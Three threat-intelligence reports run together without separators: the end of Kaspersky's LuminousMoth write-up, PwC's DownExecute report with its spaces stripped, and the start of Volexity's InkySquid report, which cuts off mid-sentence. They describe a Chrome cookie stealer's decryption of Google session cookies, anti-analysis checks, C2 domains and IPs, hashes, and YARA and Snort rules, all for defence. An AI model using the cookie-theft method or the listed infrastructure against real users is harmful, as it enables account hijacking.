The method used to send the archive makes use of a statically linked CURL library, which sets the parameters specified below when conducting the transaction to the server.
The address of the C2 is 8/14 taken from the zAutoUpdate parameter.
CURL logic used to issue the archive of exfiltrated files to the CC Post exploitation tool: Chrome Cookies Stealer The attackers deployed another tool on some infected systems that steals cookies from the Chrome browser.
This tool requires the local username as an argument, as it is needed to access two files containing the data to be stolen: 1 2 C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Default\Cookies C:\Users\[USERNAME]\AppData\Local\Google\Chrome\User Data\Local State The stealer starts by extracting the encrypted_key value stored in the Local State file.
This key is base64 encoded and used to decode the cookies stored in the Cookies file.
The stealer uses the CryptUnprotectData API function to decrypt the cookies and looks for eight specific cookie values: SID, OSID, HSID, SSID, LSID, APISID, SAPISID and ACCOUNT_CHOOSER: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154041/LuminousMoth_06.png 9/14 Cookie values the stealer looks for Once found, the malware simply displays the values of those cookies in the terminal.
The Google policy available here explains that these cookies are used to authenticate users: Google policy explaining the purpose of the cookies During our test, we set up a Gmail account and were able to duplicate our Gmail session by using the stolen cookies.
We can therefore conclude this post exploitation tool is dedicated to hijacking and impersonating the Gmail sessions of the targets.
Command and Control For C2 communication, some of the LuminousMoth samples contacted IP addresses directly, whereas others communicated with the domain updatecatalogs.com.
103.15.28[.
]195 202.59.10[.
]253 Infrastructure ties from those C2 servers helped reveal additional domains related to this attack that impersonate known news outlets in Myanmar, such as MMTimes, 7Day News and The Irrawaddy.
Another domain mopfi-ferd[.
]com also impersonated the Foreign Economic Relations Department (FERD) of the Ministry of Planning, Finance and Industry (MOPFI) in Myanmar.
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154113/LuminousMoth_07.png https://policies.google.com/technologies/cookies/embedded?hlen-US https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154135/LuminousMoth_08.png 10/14 mmtimes[.
]net mmtimes[.
]org 7daydai1y[.
]com irrawddy[.
]com mopfi-ferd[.
]com Mopfi-ferd[.
]com resolved to an IP address that was associated with a domain masquerading as the Zoom API.
Since we have seen the attackers deploying a fake Zoom application, it is possible this look-alike domain was used to hide malicious Zoom traffic, although we have no evidence of this.
Potentially related Zoom look-alike domains Who were the targets?
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154218/LuminousMoth_09.png 11/14 We were able to identify a large number of targets infected by LuminousMoth, almost all of which are from the Philippines and Myanmar.
We came across approximately 100 victims in Myanmar, whereas in the Philippines the number was much higher, counting nearly 1,400 victims.
It seems however that the actual targets were only a subset of these that included high-profile organizations, namely government entities located both within those countries and abroad.
It is likely that the high rate of infections is due to the nature of the LuminousMoth attack and its spreading mechanism, as the malware propagates by copying itself to removable drives connected to the system.
Nevertheless, the noticeable disparity between the extent of this activity in both countries might hint to an additional and unknown infection vector being used solely in the Philippines.
It could, however, simply be that the attackers are more interested in going after targets from this region.
Connections to HoneyMyte Over the course of our analysis, we noticed that LuminousMoth shares multiple similarities with the HoneyMyte threat group.
Both groups have been covered extensively in our private reports, and further details and analysis of their activity are available to customers of our private APT reporting service.
For more information, contact: intelreportskaspersky.com.
LuminousMoth and HoneyMyte have similar targeting and TTPs, such as the usage of DLL side-loading and Cobalt Strike loaders, and a similar component to LuminousMoths Chrome cookie stealer was also seen in previous HoneyMyte activity.
Lastly, we found infrastructure overlaps between the C2 servers used in the LuminousMoth campaign and an older one that has been attributed to HoneyMyte.
Some of LuminousMoths malicious artifacts communicate with updatecatalogs[.
]com, which resolves to the same IP address behind webmail.mmtimes[.
]net.
This domain was observed in a campaign that dates back to early 2020, and was even found on some of the systems that were later infected with LuminousMoth.
In this campaign, a legitimate binary (FmtOptions.exe) sideloads a malicious DLL called FmtOptions.dll, which then decodes and executes the contents of the file work.dat.
This infection flow also involves a service called yerodns.dll that implements the same functionality as FmtOptions.dll.
The domain webmail.mmtimes[.
]net previously resolved to the IP 45.204.9[.
]70.
This address is associated with another MMTimes look-alike domain used in a HoneyMyte campaign during 2020: mmtimes[.
]org.
In this case, the legitimate executable mcf.exe loads mcutil.dll.
The purpose of mcutil.dll is to decode and execute mfc.ep, a PlugX backdoor that communicates with mmtimes[.
]org.
Parts of this campaign were also covered in one of our private reports discussing HoneyMytes usage of a watering hole to infect its victims.
Therefore, based on the above findings, we can assess with medium to high confidence that the LuminousMoth activity is indeed connected to HoneyMyte.
12/14 Connection between HoneyMyte and LuminousMoth C2s Conclusions LuminousMoth represents a formerly unknown cluster of activity that is affiliated to a Chinese-speaking actor.
As described in this report, there are multiple overlaps between resources used by LuminousMoth and those sighted in previous activity of HoneyMyte.
Both groups, whether related or not, have conducted activity of the same nature  large-scale attacks that affect a wide perimeter of targets with the aim of hitting a few that are of interest.
On the same note, this groups activity and the apparent connections may hint at a wider phenomenon observed during 2021 among Chinese-speaking actors, whereby many are re-tooling and producing new and unknown malware implants.
This allows them to obscure any ties to their former activities and blur their attribution to https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154252/LuminousMoth_10.png 13/14 known groups.
With this challenge in mind, we continue to track the activity described in this publication with an eye to understanding its evolution and connection to previous attacks.
Indicators of Compromise Version.dll payloads Hashes Compilation Date 0f8b7a64336b4315cc0a2e6171ab027e 2d0296ac56db3298163bf3f6b622fdc319a9be23 59b8167afba63b9b4fa4369e6664f274c4e2760a4e2ae4ee12d43c07c9655e0f Dec 24 09:20:16 2020 37054e2e8699b0bdb0e19be8988093cd 5e45e6e113a52ba420a35c15fbaa7856acc03ab4 a934ae0274dc1fc9763f7aa51c3a2ce1a52270a47dcdd80bd5b9afbc3a23c82b Dec 24 09:19:51 2020 c05cdf3a29d6fbe4e3e8621ae3173f08 75cd21217264c3163c800e3e59af3d7db14d76f8 869e7da2357c673dab14e9a64fb69691002af5b39368e6d1a3d7fda242797622 Dec 29 11:45:41 2020 5ba1384b4edfe7a93d6f1166da05ff6f 6d18970811821125fd402cfa90210044424e223a 857c676102ea5dda05899d4e386340f6e7517be2d2623437582acbe0d46b19d2 Jan 07 11:18:38 2021 afb777236f1e089c9e1d33fce46a704c cf3582a6cdac3e254c017c8ce36240130d67834a 1ec88831b67e3f0d41057ba38ccca707cb508fe63d39116a02b7080384ed0303 Jan 14 11:18:50 2021 wwlib.dll payloads Hashes Compilation Date 4fbc4835746a9c64f8d697659bfe8554 b43d7317d3144c760d82c4c7506eba1143821ac1 95bcc8c3d9d23289b4ff284cb685b741fe92949be35c69c1faa3a3846f1ab947 Dec 24 10:25:39 2020 Related payloads Hashes Name Compilation Date b31008f6490ffe7ba7a8edb9e9a8c137 c1945fd976836ba2f3fbeafa276f60c3f0e9a51c 4a4b976991112b47b6a3d6ce19cc1c4f89984635ed16aea9f88275805b005461 FmtOptions.dll Jan 11 10:00:42 2021 https://opentip.kaspersky.com/0f8b7a64336b4315cc0a2e6171ab027e/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/37054e2e8699b0bdb0e19be8988093cd/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/c05cdf3a29d6fbe4e3e8621ae3173f08/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/5ba1384b4edfe7a93d6f1166da05ff6f/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/afb777236f1e089c9e1d33fce46a704c/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/4fbc4835746a9c64f8d697659bfe8554/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/b31008f6490ffe7ba7a8edb9e9a8c137/?utm_sourceSLutm_mediumSLutm_campaignSL 14/14 ac29cb9c702d9359ade1b8a5571dce7d 577ad54e965f7a21ba63ca4a361a3de86f02e925 d8de88e518460ee7ffdffaa4599ccc415e105fc318b36bc8fe998300ee5ad984 yerodns.dll Oct 29 10:33:20 2019 afe30b5dd18a114a9372b5133768151c 9a6f97300017a09eb4ea70317c65a18ea9ac49bd cf757b243133feab2714bc0da534ba21cbcdde485fbda3d39fb20db3a6aa6dee mcutil.dll Jun 13 16:35:46 2019 95991f445d846455b58d203dac530b0b cee6afa1c0c8183900b76c785d2989bd1a904ffb f27715b932fb83d44357dc7793470b28f6802c2dc47076e1bc539553a8bfa8e0 mcutil.dll Feb 21 09:41:11 2020 Post exploitation tools Hashes Name Compilation Date c727a8fc56cedc69f0cfd2f2f5796797 75d38bf8b0053d52bd5068adf078545ccdac563f 361ccc35f7ff405eb904910de126a5775de831b4229a4fdebfbacdd941ad3c56 ZoomVideoApp.exe Mar 02 10:51:31 2021 Domains and IPs 103.15.28[.
]195 202.59.10[.
]253 updatecatalogs[.
]com mopfi-ferd[.
]com mmtimes[.
]net mmtimes[.
]org 7daydai1y[.
]com irrawddy[.
]com LuminousMoth APT: Sweeping attacks for the chosen few https://opentip.kaspersky.com/ac29cb9c702d9359ade1b8a5571dce7d/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/afe30b5dd18a114a9372b5133768151c/ https://opentip.kaspersky.com/95991f445d846455b58d203dac530b0b/?utm_sourceSLutm_mediumSLutm_campaignSL https://opentip.kaspersky.com/c727a8fc56cedc69f0cfd2f2f5796797/?utm_sourceSLutm_mediumSLutm_campaignSL
Attacks against Israeli  Palestinian interests - Cyber security updates pwc.blogs.com  Updated Apr 27th, 2015 AttacksagainstIsraeliPalestinianinterests 27April2015 ByTomLancaster Followtlansec ExecutiveSummary ThisshortreportdetailsthetechniquesbeingusedinaseriesofattacksmostlyagainstIsraelbased organisations.
Thedecoydocumentsandfilenamesusedintheattackssuggesttheintendedtargets includeorganisationswithpoliticalinterestsorinfluenceinIsraelandPalestine.
Althoughweareunable tolinkthiscampaigntoanyalreadydocumentedinopensource,itbearssimilaritiestosomedescribed byotherspreviously[1],[2].
Theearliestsamplesinthecampaignwehaveidentifieddatebacktothesummerof2014.Thenumber ofsamplesdiscoveredandrelativelysmallscaleofinfrastructuresuggesttheattackershavelimited resourceswithwhichtoconductattacks.
Introduction Ourinvestigationbeginsbytakingalookatthefollowingfile: ecc240f1983007177bc5bbecba50eea27b80fd3d14fd261bef6cda10b8ffe1e9.Accordingtotheanalysis publishedonmalwr.com[3],thisfilewasoriginallynamedIsraelHomelandDefenseDirectory2015 _Secured_.exeand,onceexecuted,thefollowingdecoydocumentwaspresented: http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn1 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn3 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn2 https://www.evernote.com/OutboundRedirect.action?desthttps3A2F2Ftwitter.com2Ftlansec http://pwc.blogs.com/.a/6a00d83451623c69e201b7c7806322970b-pi TheinitialfileinthiscaseisaselfextractingRARfilethatcontainsthreecomponents,includingadecoy document(inthiscase,thePDFshownabove)andthemalware.
Furtherinspectionofthemalwareextractedshoweditwasntafamilyouranalystsrecognised.
This, coupledwiththenatureofthedecoydocumentused,ledustotakeamoreindepthlookatthemalware, andassociatedinfrastructure.
WedliketogivespecialthankstoEyalSelaofClearSkySecurityforhiscollaborativeeffortsinthis research.
Delivery ThemostcommonwaythismalwarepackagedisviaaselfextractingRARfilehowevertheattackers alsoappeartohaveusedanumberofothersolutionstodroptheirmalware,includingaVisualBasic basedwrapperandanAutoITbasedwrapper.
Intermsofhowthemalwareisdelivered,itsmostlikelythatitsdoneviaspearphishing.
Forexample, therearealsoseveraloccasionswheretheVirusTotalITWtabsuggeststhattheoriginaldropperwas availabletodownloadona3rdpartywebsite.
Inthecaseofthesamplediscussedintheintroductionwe cansee: Pomf.seisarelativelylowprofilefilesharing/hostingwebsitecurrentlybasedinSweden.
Theuseof http://pwc.blogs.com/.a/6a00d83451623c69e201b7c7806328970b-pi Pomf.seisarelativelylowprofilefilesharing/hostingwebsitecurrentlybasedinSweden.
Theuseof lowkeyfilesharingsitesappearstobeafeatureofthecampaignasfaraswecantell,withafewother similarsitesbeingusedinthesameway.
This,inconjunctionwiththenatureoftherelatedfileswehavediscovered(allofthemaredirectly executablefiles)meansitislikelythatthemalwareisprimarilydeliveredviaspearphishingattempts, ratherthananyothermethod.
DownExecuteBriefAnalysis Inthisanalysis,wellgooverthefilewithaSHA256hashof ecc240f1983007177bc5bbecba50eea27b80fd3d14fd261bef6cda10b8ffe1e9.
WevechosentorefertothemalwareasDownExecuteduetothe.pdbstringleftinthemalware (leavingdebugpathsinmalwareseemstobeveryfashionableatthemoment): AllvariantsoftheDownExecutemalwareweveidentifiedcomepackagedinthefollowingfashion: Fromthesampleswehaveanalysedsofar,thedecoyapplicationincludedisneverusedbythebinary, andispresumablyincludedsothatanyonetakingacursorylookatthefilewillconcludeitisinfactthe realdeal.
WhilstthecURL[4]binaryincludedisusedforinternetconnectivitybutitscurrentlyunclear whytheattackerschosetousethismethodofaddingconnectivitytotheirfile.
Someofthebinariesarealsoselfsigned: http://pwc.blogs.com/.a/6a00d83451623c69e201bb082468eb970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c7806330970b-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b8d109e4e1970c-pi http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn4 http://pwc.blogs.com/.a/6a00d83451623c69e201bb0822f1fb970d-pi Sowhatcanthismalwaredo?Notallthatmuchitsjustadownloader.
Beforeexecution,themalwaremakesacoupleofcheckstoavoidanalysis,includingcheckingforthe presenceofadebuggerusingIsDebuggerPresentaswellascheckingforthepresenceofVirtualBoxby lookingforthedevicename\\.\VBoxMiniRdrDN: Themalwarealsochecksforthepresenceofseveralantivirussolutions,aswellforanyprocesses includingthewordsecurity: http://pwc.blogs.com/.a/6a00d83451623c69e201b8d109e4e5970c-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b8d109e4e1970c-pi Themalwarethenproceedstodecryptsomebasicconfigurationdata,includingthecommandcontrol domain,andinformationabouttheoriginoftheinfection,trackedviaID: Meanwhile,themalwarebeginscallinghome,whilstalsokeepingalogofitsactionsinaplaintextfile thatiscreatedinthesamefolderaswherethebinarywasexecutedfrom.
http://pwc.blogs.com/.a/6a00d83451623c69e201b8d109e4e5970c-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c7806358970b-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c780635d970b-pi Aftersuccessfulcompromise Itappearsasthoughtheclueforthemainfunctionalityofthismalwareisinitsname(itdownloads,and thenexecutes)files,asitofferslittleelsefortheattacker.
TheDownExecutemalwareisusedasaway fortheattackerstogainaninitialfootholdonthevictimmachine.
Thebasicinformationreportedbackby themalwarewouldalsocertainlyallowtheattackerawaytotriageinfectionstoensuretheyhad reachedtheirintendedvictimratherthanaresearcher.
Wedonthavegreatvisibilityintopostcompromiseactivityatthisstagehoweverthereareanumberof othermalwaresampleswhichcommunicatewiththesameinfrastructureastheDownExecutesamples.
Itsnotunreasonabletoinferthatifthesearemorefullyfeaturedbackdoors,thattheyarelikelythe2nd stagemalwarefamiliesusedinconjunctionwithDownExecute.
Specifically,weveobservedthewell documentedXtremeRATandPoisonIvymalwarefamiliesinusewiththesamedomainnamesas DownExecute.
ThePoisonIvypasswordsobservedforthegroupwereadmin2014andadmin.
CommandControlInfrastructure http://pwc.blogs.com/.a/6a00d83451623c69e201b7c780635d970b-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb0822f47b970d-pi Thevastmajorityofinfrastructureintermsofhostnamesobservedassociatedwiththeseattackshave beendynamicDNSdomains,primarilyassociatedwithnoip.com.
Thisproviderispopularwithseveral MiddleEasternthreatactorstrackedbyPwCsintelligenceteam.
Intermsofthesizeoftheinfrastructure usedinthecampaignusingthetoolsdescribed,itsalsofairlysmall,asshownonourMaltegograph.
Theattackershavemadeanunusualchoicewithrespecttothehostingprovidersusedforthemalicious infrastructure.
Mostofthedomainsatthetimeofwriting,andindeedhistorically,havepointedtoIP addressspaceownedbyHostSailor,geolocatedinBelize.
ManyofthethreatactorsintheMiddleEast thatwerefamiliarwithhaveextremelyvolatileIPhosting,owingtothefactthattheinfrastructureislikely tobehostedontheirownnetworks.
Thisremotehostingthereforesomewhatbucksthetrendofsomeof http://pwc.blogs.com/.a/6a00d83451623c69e201bb0822f47b970d-pi http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn5 tobehostedontheirownnetworks.
Thisremotehostingthereforesomewhatbucksthetrendofsomeof theotheractorsweseefromtheregion.
InferredTargeting Aswehavementionedinanumberofourotherreports[5],attackersoftenuseCCdomainswhich containphrasesrelevanttotheirtargetssoastomakethemappearlegitimate.
Withthisinmindwe performedsomesimpleanalysisonthedomainnamesusedinthiscampaigntoidentifylegitimate organisationsbeingimpersonated.
ForafulllistofCCsused,pleaseseeAppendixB.
Domainname LegitimateEntity Description Rotter2.sytes.net rotter.net Israelinewsoutlet haartezenglish.strangled.net haaretz.co.il Israelinewsoutlet wallanews.sytes.net walla.co.il Israelinewsoutlet ynet.sytes.net ynet.co.il Israelinewsoutlet safar.selfip.com Safar Islamic2ndmonth depka.sytes.net debka.com Israelinewsoutlet Asshown,thereappearstobeathemehere,withanumberofIsraelinewsorganisationsbeingusedas CCthemesandhenceprobablybeingtargeted.
Sodowebelievethiscampaignisfocusedonlyat Israelicompanies?Perhapsnotentirely.
Targeting WhilstthereareanumberofdocumentsclearlyaimedatIsraelinationals,usingpoliticalandmilitary themes,oneofthelures[6]includedanArabiclanguagedecoydocumentpicturedbelow: ThedocumentinquestiondiscussesanallegedleakofinformationrelatingtoAbbas,leaderofthe PalestineLiberationOrganization.
Whilstthisisasubjectwhichisclearlyofkeyinteresttoallpartiesin theregion,thefacttheattackerssentanArabiclanguageversionofthestorymayindicatethatthe recipientwasexpectedtobefluentinArabic,andpossiblythereforelesslikelytobeIsraeli,butrather http://pwc.blogs.com/.a/6a00d83451623c69e201b8d109e50d970c-pi http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn6 someonefromanotheradjacentregion.
Conclusion Whilst,inthiscase,wereunabletoattributethissetofactivitytoaspecificgrouporentityintheMiddle East,itdoesbearasignificantresemblancetomanyattacksseenfromtheMiddleEastthathavebeen previouslydocumented.
Specifically,thefollowingaspectsofthiscampaignremindusofexistingwrite upsonMiddleEasterncampaigns: ConsistentuseofthedynamicDNSprovidernoip.comandassociateddomains:itsunclear whythereisapreferenceforthis,howeverinseveralhowtovideosonArabiclanguage undergroundforumsthevideocreatorsrecommendusingnoip.comasopposedtootherdynamic DNSproviders Useofpublicallyavailablemalware:manygroupsoperatingintheMiddleEastusemalware families(suchasPoisonIvy/XtremeRAT)whicharepublicallyavailableratherthandevelopingtheir ownbinaries Varietyoftargeting:thetargetingseemsentirelyrestrictedtoMiddleEasternissuesand,whilst thereappearstobeaheavyfocusonIsraelinthedecoydocumentsweveobserved,thereisthe possibilitythatPalestinianshavebeentargetedaswell.
Thisisconsistentwiththecomplex relationshipsbetweenthedifferentnationsandpoliticalgroupsintheregion Passwordschema:IntheirAugust2013blog [7] ,FireEyenotedthatagrouptheyrefertoas MoleRatsusedPoisonIvyandXtremeRAT,inconjunctionwithapasswordofGooDThe keyboardwalkusedforthesymbolsacrossthetopofakeyboardissimilartothepassword observedinsomeofourPoisonIvysamples.
Thefactthattheattackerschosetodeveloptheirowndroppermaybeindicativethattheirbiggest problemwhenconductingnetworkintrusionsisgettingtheirfootinthedoorparticularlyasitseemsas thoughtheystillpreferthemorefullyfeaturedPoisonIvyandXtremeRATbackdoorsas2ndstage malwarefamilies.
WhenwepivotedandlookedfortheearliestexamplesoftheDownExecutemalware,thefirstsamples wecouldfindwerecompiledinJune2014.Wehavenoreasontobelieveinthiscasethatthethreat actorhastamperedwiththecompiletimeonanysamples,asallothersamplesdiscoveredwere identifiedshortlyaftertheywerecompiled.
Assuchwebelievethecampaignusingthisdownloader malwarehasbeenongoingforapproximately12months.
AppendixASamples SHA256 8993a516404c0dd62692f3ce5055d4ddee7e29ad4bb6aa29f67114eeeaee26b9 bfe727f2f238f11eb989e5b76efd24ad2b41df3cf7dabf7077dfaace834e7f03 dad34d2cb2aa9662d4a4148481ae018f5816498f30cc7aee4919e0e9fe6b9e08 2cb9df0d52d09c98f0a97ce71eb8805f224945cadab7d615ef0257b7b09c80d3 f53fd5389b09c6ad289736720e72392dd5f30a1f7822dbc8c7c2e2b655b4dad9 1d533ddaefc7859a3f6c6751114e895b7aa5935eb0ed68b01ec61aa8560ae3d9 95b2f926ae173ab45d6dac4039f0b91eb24699e6d11b621bbcebd860752e5d5e da63f6392ce6af83f6d944fa1bd3f28082345fec928647ee7ef9939fac7b2e6c http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftn7 a7aeeead233fcdfe1c7475db982497a82d8ae745ec1c58bd87215e8869c3f9e4 2eb7aa306551d693691d14558c5dc4f6d80ef8f69cf466149fbba23953c08f7f e945b055fb4057a396506c74f73b873694125e6178a40d10cabf24b2d89d598f c9e084eb1ce1066ee063f860c13a8f7d2ead97495036855fc956dacc9a24ea68 047e8d542e2fcdf0f4dd45e2b19848771d01abc90d161d05242b79c52cdd248d 25e6bf67410dffb95c527c19dcff5223dbc3bf4c987650e45fbea1267072e8ff b0edbd0f44df72e0fad3fb73948444a4df5143ed954c9116eb1a7b606841f187 da63f6392ce6af83f6d944fa1bd3f28082345fec928647ee7ef9939fac7b2e6c de3e25a69ba43b9f236e544ece7f2da82a4fafb4489ad2e263754d9b9d88bc5c ecc240f1983007177bc5bbecba50eea27b80fd3d14fd261bef6cda10b8ffe1e9 f969bf3b7a9821b3b2d5de889b5af7af25972b25ba59e4e9439f87fe90f1c404 14be3a9a2a4261cb365915e720486a0632dbebb06fe68fb669ae67aa9b18507b 488ba22d6cb8c9b0310c58fa4c4739692cdf45676c3164b357314322542f9dff b3a47e0bc0af49b46bc0c1158089bf200856ff462a5334df2b5c11e69c8b1ada 324ce011b913feec4adb916f32c743a243f07dccb51b49c0122c4fa4a8e2bded d6df5943169b48ac58fc28bb665fe8800c265b65fff8a2217b70703a4d3a7277 88e7a7e815565b92af81761ae7b9153b7507677df3d3b77e8ce68787ad1826d4 f51d4155534e10c09b531acc41458e8ff3b7879f4ee7d3ee99f16180c4caf0ee b3a47e0bc0af49b46bc0c1158089bf200856ff462a5334df2b5c11e69c8b1ada bc846caa05939b085837057bc4b9303357602ece83dc1380191bddd1402d4a2b AppendixBCCInfrastructure Value ValueType cbbnews.tk Domain haartezenglish.redirectme.net Domain wallanews.sytes.net Domain kaliob.selfip.org Domain deapka.sytes.net Domain download.likescandy.com Domain orango.redirectme.net Domain ynet.sytes.net Domain kaswer12.strangled.net Domain nazer.zapto.org Domain rotter2.sytes.net Domain kaswer13.zapto.org Domain tango.zapto.org Domain kolabdown.sytes.net Domain rotter2.publicvm.com Domain safar.selfip.com Domain bandao.publicvm.com Domain safari.linkpc.net Domain thenewupdate.chickenkiller.com Domain backjadwer.bounceme.net Domain ajaxo.zapto.org Domain downloadskype.cf Domain redirectlnk.redirectme.net Domain thenewupdatee.redirectme.net Domain chromeupdt.tk Domain duntat.zapto.org Domain ynet.ignorelist.com Domain haartezenglish.strangled.net Domain gaonsmom.redirectme.net Domain storelegal.biz Domain fastbingcom.sytes.net Domain downloadlog.linkpc.net Domain downloadmyhost.zapto.org Domain depka.sytes.net Domain wallanews.publicvm.com Domain noredirecto.redirectme.net Domain safara.sytes.net Domain help2014.linkpc.net Domain totoman.noip.biz Domain lilian.redirectme.net Domain webfile.myqsee.com Domain 185.33.168.150 IPv4Address 185.45.193.4 IPv4Address 167.114.62.213 IPv4Address 131.72.136.11 IPv4Address 131.72.136.171 IPv4Address 192.253.246.169 IPv4Address 198.105.122.96 IPv4Address 131.72.136.124 IPv4Address 107.168.129.29 IPv4Address 198.105.122.9 IPv4Address AppendixCSignatures ruleDownExecute_A meta: authorPwCCyberThreatOperations::tlansec date201504 referencehttp://pwc.blogs.com/cyber_security_updates/2015/04/attacksagainstisraelipalestinia ninterests.html descriptionMalwareisoftenwrapped/protected,besttorunonmemory strings: winver1win8.1 winver2winServer2012R2 winver3winSrv2012 winver4winsrv2008R2 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html winver5winsrv2008 winver6winvsta winver7winsrv2003R2 winver8winhmsrv winver9winStrgsrv2003 winver10winsrv2003 winver11winXPprofx64edt winver12winXP winver13win2000 pdb1D:\\Acms\\2\\docs\\VisualStudio 2013\\Projects\\DownloadExcute\\DownloadExcute\\Release\\DownExecute.pdb pdb2d:\\acms\\2\\docs\\visualstudio 2013\\projects\\downloadexcute\\downloadexcute\\downexecute\\json\\rapidjson\\writer.h pdb3:\\acms\\2\\docs\\visualstudio 2013\\projects\\downloadexcute\\downloadexcute\\downexecute\\json\\rapidjson\\internal/stack.h pdb4\\downloadexcute\\downexecute\\ magic1WinGetVersionInfoNameError magic2Psw0rdnd magic3tk0v2rF10w magic4123xXx(Mutex)xXx321621201403:06PMwide str1DownloadExcuteasciiwidefullword str2EncryptorFunctionPointerd str3s\\s.lnk str4Mac:sCpu:sHD:s str5feedbackresponceofhost str6GETTokenathost str7dwnmd5err condition: allof(winver)or anyof(pdb)or anyof(magic)or 2of(str) NetworkIDS alerthttpanyanyanyany(msg:[PwCCTD]UnclassifiedMiddleEasternActorDownExecute URI(/dw/gtk)flow:established,to_serverurilen:7content:/dw/gtkhttp_uridepth:7content:GET http_methodcontent:UserAgent:http_headercontent:Referer:http_header Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web.
Terms of Service Privacy Policy http_methodcontent:UserAgent:http_headercontent:Referer:http_header reference:md5,4dd319a230ee3a0735a656231b4c9063classtype:trojanactivitymetadata:tlp WHITE,authoripsosCustodessid:99999901rev:2015200401) alerthttpanyanyanyany(msg:[PwCCTD]UnclassifiedMiddleEasternActorDownExecute URI(/dw/setup)flow:established,to_serverurilen:8content:/dw/setuphttp_uridepth:9 content:POSThttp_methodreference:md5,4dd319a230ee3a0735a656231b4c9063 classtype:trojanactivitymetadata:tlpWHITE,authoripsosCustodessid:99999902rev:2015200401) alerthttpanyanyanyany(msg:[PwCCTD]UnclassifiedMiddleEasternActorDownExecute Headersflow:established,to_serverurilen:7content:Accept/http_client_body content:ContentType:multipart/formdata\boundaryhttp_headercontent: ci_sessionhttp_cookiedepth:11content:POSThttp_methodcontent:Referer:http_header content:UserAgent:http_headerreference:md5,4dd319a230ee3a0735a656231b4c9063 classtype:trojanactivitymetadata:tlpWHITE,authoripsosCustodessid:99999903rev:2015200401) [1] https://github.com/kbandla/APTnotes/blob/master/2012/Cyberattack_against_Israeli_and_Palestinian_ta rgets.pdf [2]https://www.fireeye.com/blog/threatresearch/2013/08/operationmoleratsmiddleeastcyberattacks usingpoisonivy.html [3]https://malwr.com/analysis/N2I1YmExMjNkMmM3NGQwMThlNjg5YmI4OGY3Mjc3ZmI [4]http://curl.haxx.se [6]ca78b173218ad8be863c7e00fec61f2f [7]https://www.fireeye.com/blog/threatresearch/2013/08/operationmoleratsmiddleeastcyberattacks usingpoisonivy.html http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftnref3 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftnref1 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftnref2 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftnref6 https://evernote.com/tos/ https://evernote.com/privacy/ http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftnref7 http://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html_ftnref4
1/5 North Korean APT InkySquid Infects Victims Using Browser Exploits volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits August 17, 2021 by Damien Cash, Josh Grunzweig, Matthew Meltzer, Steven Adair, Thomas Lancaster Volexity recently investigated a strategic web compromise (SWC) of the website of the Daily NK (www.dailynk[.
]com), a South Korean online newspaper that focuses on issues relating to North Korea.
Malicious code on the Daily NK website was observed from at least late March 2021 until early June 2021.
This post provides details on the different exploits used in the SWC, as well as the payload used, which Volexity calls BLUELIGHT.
Volexity attributes the activity described in this post to a threat actor Volexity refers to as InkySquid, which broadly corresponds to activity known publicly under the monikers ScarCruft and APT37.
SWC Activity In April 2021, through its network security monitoring on a customer network, Volexity identified suspicious code being loaded via www.dailynk[.
]com to malicious subdomains of jquery[.
]services.
Examples of URLs observed loading malicious code include the following: hxxps://www.dailynk[.
]com/wp-includes/js/jquery/jquery.min.js?ver3.5.1 hxxps://www.dailynk[.
]com/wp-includes/js/jquery/jquery-migrate.min.js?ver3.3.2 These URLs lead to legitimate files used as part of the normal function of the Daily NK website however, their contents were modified by the attacker to include code redirecting users to load malicious JavaScript from the attacker-owned domain jquery[.
]services.
The attacker-included code was only added for short periods of time and was swiftly removed, making identification of this activity difficult as the malicious content was not always available.
CVE-2020-1380 The first time Volexity was able to identify malicious code being returned, the attacker was observed using CVE-2020-1380, an exploit for Internet Explorer.
The attacker added a single line of code to the following legitimate file on Daily NK: hxxps://www.dailynk[.
